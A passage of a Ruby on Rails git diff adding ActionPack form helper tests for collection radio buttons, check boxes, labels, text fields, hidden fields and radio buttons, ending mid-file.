+ with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => true
+
+ assert_select 'input[type=radio][value=true][disabled=disabled]'
+ assert_no_select 'input[type=radio][value=false][disabled=disabled]'
+ end
+
+ test 'collection radio accepts html options as input' do
+ collection = [[1, true], [0, false]]
+ with_collection_radio_buttons :user, :active, collection, :last, :first, {}, :class => 'special-radio'
+
+ assert_select 'input[type=radio][value=true].special-radio#user_active_true'
+ assert_select 'input[type=radio][value=false].special-radio#user_active_false'
+ end
+
+ test 'collection radio does not wrap input inside the label' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+ assert_select 'input[type=radio] + label'
+ assert_no_select 'label input'
+ end
+
+ test 'collection radio accepts a block to render the label as radio button wrapper' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label { b.radio_button }
+ end
+
+ assert_select 'label[for=user_active_true] > input#user_active_true[type=radio]'
+ assert_select 'label[for=user_active_false] > input#user_active_false[type=radio]'
+ end
+
+ test 'collection radio accepts a block to change the order of label and radio button' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label + b.radio_button
+ end
+
+ assert_select 'label[for=user_active_true] + input#user_active_true[type=radio]'
+ assert_select 'label[for=user_active_false] + input#user_active_false[type=radio]'
+ end
+
+ test 'collection radio with block helpers accept extra html options' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:class => "radio_button") + b.radio_button(:class => "radio_button")
+ end
+
+ assert_select 'label.radio_button[for=user_active_true] + input#user_active_true.radio_button[type=radio]'
+ assert_select 'label.radio_button[for=user_active_false] + input#user_active_false.radio_button[type=radio]'
+ end
+
+ test 'collection radio with block helpers allows access to current text and value' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:"data-value" => b.value) { b.radio_button + b.text }
+ end
+
+ assert_select 'label[for=user_active_true][data-value=true]', 'true' do
+ assert_select 'input#user_active_true[type=radio]'
+ end
+ assert_select 'label[for=user_active_false][data-value=false]', 'false' do
+ assert_select 'input#user_active_false[type=radio]'
+ end
+ end
+
+ test 'collection radio with block helpers allows access to the current object item in the collection to access extra properties' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:class => b.object) { b.radio_button + b.text }
+ end
+
+ assert_select 'label.true[for=user_active_true]', 'true' do
+ assert_select 'input#user_active_true[type=radio]'
+ end
+ assert_select 'label.false[for=user_active_false]', 'false' do
+ assert_select 'input#user_active_false[type=radio]'
+ end
+ end
+
+ test 'collection radio buttons with fields for' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ @output_buffer = fields_for(:post) do |p|
+ p.collection_radio_buttons :category_id, collection, :id, :name
+ end
+
+ assert_select 'input#post_category_id_1[type=radio][value=1]'
+ assert_select 'input#post_category_id_2[type=radio][value=2]'
+
+ assert_select 'label[for=post_category_id_1]', 'Category 1'
+ assert_select 'label[for=post_category_id_2]', 'Category 2'
+ end
+
+ test 'collection radio accepts checked item which has a value of false' do
+ with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, :checked => false
+ assert_no_select 'input[type=radio][value=true][checked=checked]'
+ assert_select 'input[type=radio][value=false][checked=checked]'
+ end
+
+ # COLLECTION CHECK BOXES
+ test 'collection check boxes accepts a collection and generate a serie of checkboxes for value method' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+ assert_select 'input#user_category_ids_1[type=checkbox][value=1]'
+ assert_select 'input#user_category_ids_2[type=checkbox][value=2]'
+ end
+
+ test 'collection check boxes generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+ assert_select "input[type=hidden][name='user[category_ids][]'][value=]", :count => 1
+ end
+
+ test 'collection check boxes accepts a collection and generate a serie of checkboxes with labels for label method' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+ assert_select 'label[for=user_category_ids_1]', 'Category 1'
+ assert_select 'label[for=user_category_ids_2]', 'Category 2'
+ end
+
+ test 'collection check boxes handles camelized collection values for labels correctly' do
+ with_collection_check_boxes :user, :active, ['Yes', 'No'], :to_s, :to_s
+
+ assert_select 'label[for=user_active_yes]', 'Yes'
+ assert_select 'label[for=user_active_no]', 'No'
+ end
+
+ test 'colection check box should sanitize collection values for labels correctly' do
+ with_collection_check_boxes :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
+ assert_select 'label[for=user_name_099]', '$0.99'
+ assert_select 'label[for=user_name_199]', '$1.99'
+ end
+
+ test 'collection check boxes accepts selected values as :checked option' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => [1, 3]
+
+ assert_select 'input[type=checkbox][value=1][checked=checked]'
+ assert_select 'input[type=checkbox][value=3][checked=checked]'
+ assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+ end
+
+ test 'collection check boxes accepts selected string values as :checked option' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => ['1', '3']
+
+ assert_select 'input[type=checkbox][value=1][checked=checked]'
+ assert_select 'input[type=checkbox][value=3][checked=checked]'
+ assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+ end
+
+ test 'collection check boxes accepts a single checked value' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => 3
+
+ assert_select 'input[type=checkbox][value=3][checked=checked]'
+ assert_no_select 'input[type=checkbox][value=1][checked=checked]'
+ assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+ end
+
+ test 'collection check boxes accepts selected values as :checked option and override the model values' do
+ user = Struct.new(:category_ids).new(2)
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+
+ @output_buffer = fields_for(:user, user) do |p|
+ p.collection_check_boxes :category_ids, collection, :first, :last, :checked => [1, 3]
+ end
+
+ assert_select 'input[type=checkbox][value=1][checked=checked]'
+ assert_select 'input[type=checkbox][value=3][checked=checked]'
+ assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+ end
+
+ test 'collection check boxes accepts multiple disabled items' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => [1, 3]
+
+ assert_select 'input[type=checkbox][value=1][disabled=disabled]'
+ assert_select 'input[type=checkbox][value=3][disabled=disabled]'
+ assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+ end
+
+ test 'collection check boxes accepts single disable item' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => 1
+
+ assert_select 'input[type=checkbox][value=1][disabled=disabled]'
+ assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
+ assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+ end
+
+ test 'collection check boxes accepts a proc to disabled items' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => proc { |i| i.first == 1 }
+
+ assert_select 'input[type=checkbox][value=1][disabled=disabled]'
+ assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
+ assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+ end
+
+ test 'collection check boxes accepts html options' do
+ collection = [[1, 'Category 1'], [2, 'Category 2']]
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, {}, :class => 'check'
+
+ assert_select 'input.check[type=checkbox][value=1]'
+ assert_select 'input.check[type=checkbox][value=2]'
+ end
+
+ test 'collection check boxes with fields for' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ @output_buffer = fields_for(:post) do |p|
+ p.collection_check_boxes :category_ids, collection, :id, :name
+ end
+
+ assert_select 'input#post_category_ids_1[type=checkbox][value=1]'
+ assert_select 'input#post_category_ids_2[type=checkbox][value=2]'
+
+ assert_select 'label[for=post_category_ids_1]', 'Category 1'
+ assert_select 'label[for=post_category_ids_2]', 'Category 2'
+ end
+
+ test 'collection check boxes does not wrap input inside the label' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s
+
+ assert_select 'input[type=checkbox] + label'
+ assert_no_select 'label input'
+ end
+
+ test 'collection check boxes accepts a block to render the label as check box wrapper' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label { b.check_box }
+ end
+
+ assert_select 'label[for=user_active_true] > input#user_active_true[type=checkbox]'
+ assert_select 'label[for=user_active_false] > input#user_active_false[type=checkbox]'
+ end
+
+ test 'collection check boxes accepts a block to change the order of label and check box' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label + b.check_box
+ end
+
+ assert_select 'label[for=user_active_true] + input#user_active_true[type=checkbox]'
+ assert_select 'label[for=user_active_false] + input#user_active_false[type=checkbox]'
+ end
+
+ test 'collection check boxes with block helpers accept extra html options' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:class => "check_box") + b.check_box(:class => "check_box")
+ end
+
+ assert_select 'label.check_box[for=user_active_true] + input#user_active_true.check_box[type=checkbox]'
+ assert_select 'label.check_box[for=user_active_false] + input#user_active_false.check_box[type=checkbox]'
+ end
+
+ test 'collection check boxes with block helpers allows access to current text and value' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:"data-value" => b.value) { b.check_box + b.text }
+ end
+
+ assert_select 'label[for=user_active_true][data-value=true]', 'true' do
+ assert_select 'input#user_active_true[type=checkbox]'
+ end
+ assert_select 'label[for=user_active_false][data-value=false]', 'false' do
+ assert_select 'input#user_active_false[type=checkbox]'
+ end
+ end
+
+ test 'collection check boxes with block helpers allows access to the current object item in the collection to access extra properties' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:class => b.object) { b.check_box + b.text }
+ end
+
+ assert_select 'label.true[for=user_active_true]', 'true' do
+ assert_select 'input#user_active_true[type=checkbox]'
+ end
+ assert_select 'label.false[for=user_active_false]', 'false' do
+ assert_select 'input#user_active_false[type=checkbox]'
+ end
+ end
+end
diff --git a/actionpack/test/template/form_helper_test.rb b/actionpack/test/template/form_helper_test.rb
new file mode 100644
index 0000000..1ff3202
--- /dev/null
+++ b/actionpack/test/template/form_helper_test.rb
@@ -0,0 +1,2959 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class FormHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
+ tests ActionView::Helpers::FormHelper
+
+ def form_for(*)
+ @output_buffer = super
+ end
+
+ def setup
+ super
+
+ # Create "label" locale for testing I18n label helpers
+ I18n.backend.store_translations 'label', {
+ activemodel: {
+ attributes: {
+ post: {
+ cost: "Total cost"
+ }
+ }
+ },
+ helpers: {
+ label: {
+ post: {
+ body: "Write entire text here",
+ color: {
+ red: "Rojo"
+ },
+ comments: {
+ body: "Write body here"
+ }
+ },
+ tag: {
+ value: "Tag"
+ }
+ }
+ }
+ }
+
+ # Create "submit" locale for testing I18n submit helpers
+ I18n.backend.store_translations 'submit', {
+ helpers: {
+ submit: {
+ create: 'Create %{model}',
+ update: 'Confirm %{model} changes',
+ submit: 'Save changes',
+ another_post: {
+ update: 'Update your %{model}'
+ }
+ }
+ }
+ }
+
+ @post = Post.new
+ @comment = Comment.new
+ def @post.errors()
+ Class.new {
+ def [](field); field == "author_name" ? ["can't be empty"] : [] end
+ def empty?() false end
+ def count() 1 end
+ def full_messages() ["Author name can't be empty"] end
+ }.new
+ end
+ def @post.to_key; [123]; end
+ def @post.id_before_type_cast; 123; end
+ def @post.to_param; '123'; end
+
+ @post.persisted = true
+ @post.title = "Hello World"
+ @post.author_name = ""
+ @post.body = "Back to the hill and over it again!"
+ @post.secret = 1
+ @post.written_on = Date.new(2004, 6, 15)
+
+ @post.comments = []
+ @post.comments << @comment
+
+ @post.tags = []
+ @post.tags << Tag.new
+
+ @car = Car.new("#000FFF")
+ end
+
+ Routes = ActionDispatch::Routing::RouteSet.new
+ Routes.draw do
+ resources :posts do
+ resources :comments
+ end
+
+ namespace :admin do
+ resources :posts do
+ resources :comments
+ end
+ end
+
+ get "/foo", to: "controller#action"
+ root to: "main#index"
+ end
+
+ def _routes
+ Routes
+ end
+
+ include Routes.url_helpers
+
+ def url_for(object)
+ @url_for_options = object
+
+ if object.is_a?(Hash) && object[:use_route].blank? && object[:controller].blank?
+ object.merge!(controller: "main", action: "index")
+ end
+
+ super
+ end
+
+ class FooTag < ActionView::Helpers::Tags::Base
+ def initialize; end
+ end
+
+ def test_tags_base_child_without_render_method
+ assert_raise(NotImplementedError) { FooTag.new.render }
+ end
+
+ def test_label
+ assert_dom_equal('<label for="post_title">Title</label>', label("post", "title"))
+ assert_dom_equal(
+ '<label for="post_title">The title goes here</label>',
+ label("post", "title", "The title goes here")
+ )
+ assert_dom_equal(
+ '<label class="title_label" for="post_title">Title</label>',
+ label("post", "title", nil, class: 'title_label')
+ )
+ assert_dom_equal('<label for="post_secret">Secret?</label>', label("post", "secret?"))
+ end
+
+ def test_label_with_symbols
+ assert_dom_equal('<label for="post_title">Title</label>', label(:post, :title))
+ assert_dom_equal('<label for="post_secret">Secret?</label>', label(:post, :secret?))
+ end
+
+ def test_label_with_locales_strings
+ old_locale, I18n.locale = I18n.locale, :label
+ assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_label_with_human_attribute_name
+ old_locale, I18n.locale = I18n.locale, :label
+ assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_label_with_locales_symbols
+ old_locale, I18n.locale = I18n.locale, :label
+ assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_label_with_locales_and_options
+ old_locale, I18n.locale = I18n.locale, :label
+ assert_dom_equal(
+ '<label for="post_body" class="post_body">Write entire text here</label>',
+ label(:post, :body, class: "post_body")
+ )
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_label_with_locales_and_value
+ old_locale, I18n.locale = I18n.locale, :label
+ assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, value: "red"))
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_label_with_locales_and_nested_attributes
+ old_locale, I18n.locale = I18n.locale, :label
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ f.fields_for(:comments) do |cf|
+ concat cf.label(:body)
+ end
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ '<label for="post_comments_attributes_0_body">Write body here</label>'
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_label_with_locales_fallback_and_nested_attributes
+ old_locale, I18n.locale = I18n.locale, :label
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ f.fields_for(:tags) do |cf|
+ concat cf.label(:value)
+ end
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ '<label for="post_tags_attributes_0_value">Tag</label>'
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_label_with_for_attribute_as_symbol
+ assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, for: "my_for"))
+ end
+
+ def test_label_with_for_attribute_as_string
+ assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
+ end
+
+ def test_label_does_not_generate_for_attribute_when_given_nil
+ assert_dom_equal('<label>Title</label>', label(:post, :title, for: nil))
+ end
+
+ def test_label_with_id_attribute_as_symbol
+ assert_dom_equal(
+ '<label for="post_title" id="my_id">Title</label>',
+ label(:post, :title, nil, id: "my_id")
+ )
+ end
+
+ def test_label_with_id_attribute_as_string
+ assert_dom_equal(
+ '<label for="post_title" id="my_id">Title</label>',
+ label(:post, :title, nil, "id" => "my_id")
+ )
+ end
+
+ def test_label_with_for_and_id_attributes_as_symbol
+ assert_dom_equal(
+ '<label for="my_for" id="my_id">Title</label>',
+ label(:post, :title, nil, for: "my_for", id: "my_id")
+ )
+ end
+
+ def test_label_with_for_and_id_attributes_as_string
+ assert_dom_equal(
+ '<label for="my_for" id="my_id">Title</label>',
+ label(:post, :title, nil, "for" => "my_for", "id" => "my_id")
+ )
+ end
+
+ def test_label_for_radio_buttons_with_value
+ assert_dom_equal(
+ '<label for="post_title_great_title">The title goes here</label>',
+ label("post", "title", "The title goes here", value: "great_title")
+ )
+ assert_dom_equal(
+ '<label for="post_title_great_title">The title goes here</label>',
+ label("post", "title", "The title goes here", value: "great title")
+ )
+ end
+
+ def test_label_with_block
+ assert_dom_equal(
+ '<label for="post_title">The title, please:</label>',
+ label(:post, :title) { "The title, please:" }
+ )
+ end
+
+ def test_label_with_block_and_options
+ assert_dom_equal(
+ '<label for="my_for">The title, please:</label>',
+ label(:post, :title, "for" => "my_for") { "The title, please:" }
+ )
+ end
+
+ def test_label_with_block_in_erb
+ assert_equal(
+ %{<label for="post_message">\n Message\n <input id="post_message" name="post[message]" type="text" />\n</label>},
+ view.render("test/label_with_block")
+ )
+ end
+
+ def test_text_field
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="text" value="Hello World" />',
+ text_field("post", "title")
+ )
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="password" />',
+ password_field("post", "title")
+ )
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="password" value="Hello World" />',
+ password_field("post", "title", value: @post.title)
+ )
+ assert_dom_equal(
+ '<input id="person_name" name="person[name]" type="password" />',
+ password_field("person", "name")
+ )
+ end
+
+ def test_text_field_with_escapes
+ @post.title = "<b>Hello World</b>"
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="text" value="<b>Hello World</b>" />',
+ text_field("post", "title")
+ )
+ end
+
+ def test_text_field_with_html_entities
+ @post.title = "The HTML Entity for & is &"
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="text" value="The HTML Entity for & is &" />',
+ text_field("post", "title")
+ )
+ end
+
+ def test_text_field_with_options
+ expected = '<input id="post_title" name="post[title]" size="35" type="text" value="Hello World" />'
+ assert_dom_equal expected, text_field("post", "title", "size" => 35)
+ assert_dom_equal expected, text_field("post", "title", size: 35)
+ end
+
+ def test_text_field_assuming_size
+ expected = '<input id="post_title" maxlength="35" name="post[title]" size="35" type="text" value="Hello World" />'
+ assert_dom_equal expected, text_field("post", "title", "maxlength" => 35)
+ assert_dom_equal expected, text_field("post", "title", maxlength: 35)
+ end
+
+ def test_text_field_removing_size
+ expected = '<input id="post_title" maxlength="35" name="post[title]" type="text" value="Hello World" />'
+ assert_dom_equal expected, text_field("post", "title", "maxlength" => 35, "size" => nil)
+ assert_dom_equal expected, text_field("post", "title", maxlength: 35, size: nil)
+ end
+
+ def test_text_field_with_nil_value
+ expected = '<input id="post_title" name="post[title]" type="text" />'
+ assert_dom_equal expected, text_field("post", "title", value: nil)
+ end
+
+ def test_text_field_with_nil_name
+ expected = '<input id="post_title" type="text" value="Hello World" />'
+ assert_dom_equal expected, text_field("post", "title", name: nil)
+ end
+
+ def test_text_field_doesnt_change_param_values
+ object_name = 'post[]'
+ expected = '<input id="post_123_title" name="post[123][title]" type="text" value="Hello World" />'
+ assert_equal expected, text_field(object_name, "title")
+ assert_equal object_name, "post[]"
+ end
+
+ def test_file_field_has_no_size
+ expected = '<input id="user_avatar" name="user[avatar]" type="file" />'
+ assert_dom_equal expected, file_field("user", "avatar")
+ end
+
+ def test_file_field_with_multiple_behavior
+ expected = '<input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
+ assert_dom_equal expected, file_field("import", "file", :multiple => true)
+ end
+
+ def test_file_field_with_multiple_behavior_and_explicit_name
+ expected = '<input id="import_file" multiple="multiple" name="custom" type="file" />'
+ assert_dom_equal expected, file_field("import", "file", :multiple => true, :name => "custom")
+ end
+
+ def test_hidden_field
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
+ hidden_field("post", "title")
+ )
+ assert_dom_equal(
+ '<input id="post_secret" name="post[secret]" type="hidden" value="1" />',
+ hidden_field("post", "secret?")
+ )
+ end
+
+ def test_hidden_field_with_escapes
+ @post.title = "<b>Hello World</b>"
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="hidden" value="<b>Hello World</b>" />',
+ hidden_field("post", "title")
+ )
+ end
+
+ def test_hidden_field_with_nil_value
+ expected = '<input id="post_title" name="post[title]" type="hidden" />'
+ assert_dom_equal expected, hidden_field("post", "title", value: nil)
+ end
+
+ def test_hidden_field_with_options
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
+ hidden_field("post", "title", value: "Something Else")
+ )
+ end
+
+ def test_text_field_with_custom_type
+ assert_dom_equal(
+ '<input id="user_email" name="user[email]" type="email" />',
+ text_field("user", "email", type: "email")
+ )
+ end
+
+ def test_check_box_is_html_safe
+ assert check_box("post", "secret").html_safe?
+ end
+
+ def test_check_box_checked_if_object_value_is_same_that_check_value
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+ end
+
+ def test_check_box_not_checked_if_object_value_is_same_that_unchecked_value
+ @post.secret = 0
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+ end
+
+ def test_check_box_checked_if_option_checked_is_present
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", "checked"=>"checked")
+ )
+ end
+
+ def test_check_box_checked_if_object_value_is_true
+ @post.secret = true
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret?")
+ )
+ end
+
+ def test_check_box_checked_if_object_value_includes_checked_value
+ @post.secret = ['0']
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+
+ @post.secret = ['1']
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+
+ @post.secret = Set.new(['1'])
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+ end
+
+ def test_check_box_with_include_hidden_false
+ @post.secret = false
+ assert_dom_equal(
+ '<input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", include_hidden: false)
+ )
+ end
+
+ def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_string
+ @post.secret = "on"
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+ check_box("post", "secret", {}, "on", "off")
+ )
+
+ @post.secret = "off"
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+ check_box("post", "secret", {}, "on", "off")
+ )
+ end
+
+ def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_boolean
+ @post.secret = false
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="true" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+ check_box("post", "secret", {}, false, true)
+ )
+
+ @post.secret = true
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="true" /><input id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+ check_box("post", "secret", {}, false, true)
+ )
+ end
+
+ def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_integer
+ @post.secret = 0
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = 1
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = 2
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+ end
+
+ def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_float
+ @post.secret = 0.0
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = 1.1
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = 2.2
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+ end
+
+ def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_big_decimal
+ @post.secret = BigDecimal.new(0)
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = BigDecimal.new(1)
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = BigDecimal.new(2.2, 1)
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+ end
+
+ def test_check_box_with_nil_unchecked_value
+ @post.secret = "on"
+ assert_dom_equal(
+ '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+ check_box("post", "secret", {}, "on", nil)
+ )
+ end
+
+ def test_check_box_with_nil_unchecked_value_is_html_safe
+ assert check_box("post", "secret", {}, "on", nil).html_safe?
+ end
+
+ def test_check_box_with_multiple_behavior
+ @post.comment_ids = [2,3]
+ assert_dom_equal(
+ '<input name="post[comment_ids][]" type="hidden" value="0" /><input id="post_comment_ids_1" name="post[comment_ids][]" type="checkbox" value="1" />',
+ check_box("post", "comment_ids", { multiple: true }, 1)
+ )
+ assert_dom_equal(
+ '<input name="post[comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_comment_ids_3" name="post[comment_ids][]" type="checkbox" value="3" />',
+ check_box("post", "comment_ids", { multiple: true }, 3)
+ )
+ end
+
+ def test_check_box_with_multiple_behavior_and_index
+ @post.comment_ids = [2,3]
+ assert_dom_equal(
+ '<input name="post[foo][comment_ids][]" type="hidden" value="0" /><input id="post_foo_comment_ids_1" name="post[foo][comment_ids][]" type="checkbox" value="1" />',
+ check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
+ )
+ assert_dom_equal(
+ '<input name="post[bar][comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_bar_comment_ids_3" name="post[bar][comment_ids][]" type="checkbox" value="3" />',
+ check_box("post", "comment_ids", { multiple: true, index: "bar" }, 3)
+ )
+
+ end
+
+ def test_checkbox_disabled_disables_hidden_field
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" disabled="disabled"/><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", { disabled: true })
+ )
+ end
+
+ def test_checkbox_form_html5_attribute
+ assert_dom_equal(
+ '<input form="new_form" name="post[secret]" type="hidden" value="0" /><input checked="checked" form="new_form" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", form: "new_form")
+ )
+ end
+
+ def test_radio_button
+ assert_dom_equal('<input checked="checked" id="post_title_hello_world" name="post[title]" type="radio" value="Hello World" />',
+ radio_button("post", "title", "Hello World")
+ )
+ assert_dom_equal('<input id="post_title_goodbye_world" name="post[title]" type="radio" value="Goodbye World" />',
+ radio_button("post", "title", "Goodbye World")
+ )
+ assert_dom_equal('<input id="item_subobject_title_inside_world" name="item[subobject][title]" type="radio" value="inside world"/>',
+ radio_button("item[subobject]", "title", "inside world")
+ )
+ end
+
+ def test_radio_button_is_checked_with_integers
+ assert_dom_equal('<input checked="checked" id="post_secret_1" name="post[secret]" type="radio" value="1" />',
+ radio_button("post", "secret", "1")
+ )
+ end
+
+ def test_radio_button_with_negative_integer_value
